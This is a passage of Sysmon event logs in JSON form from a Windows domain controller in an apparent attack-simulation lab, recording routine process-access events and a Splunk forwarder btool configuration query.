tem32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00107C380300}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00107C380300}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.941\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00102A390300}\r\nProcessId: 3924\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00107C380300}\r\nParentProcessId: 3572\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.941","ProcessGuid":"{90617006-3FE7-5F2D-0000-00102A390300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00107C380300}","ParentProcessId":"3572","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00107C380300}\r\nSourceProcessId: 3572\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00107C380300}","SourceProcessId":"3572","SourceThreadId":"3932","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 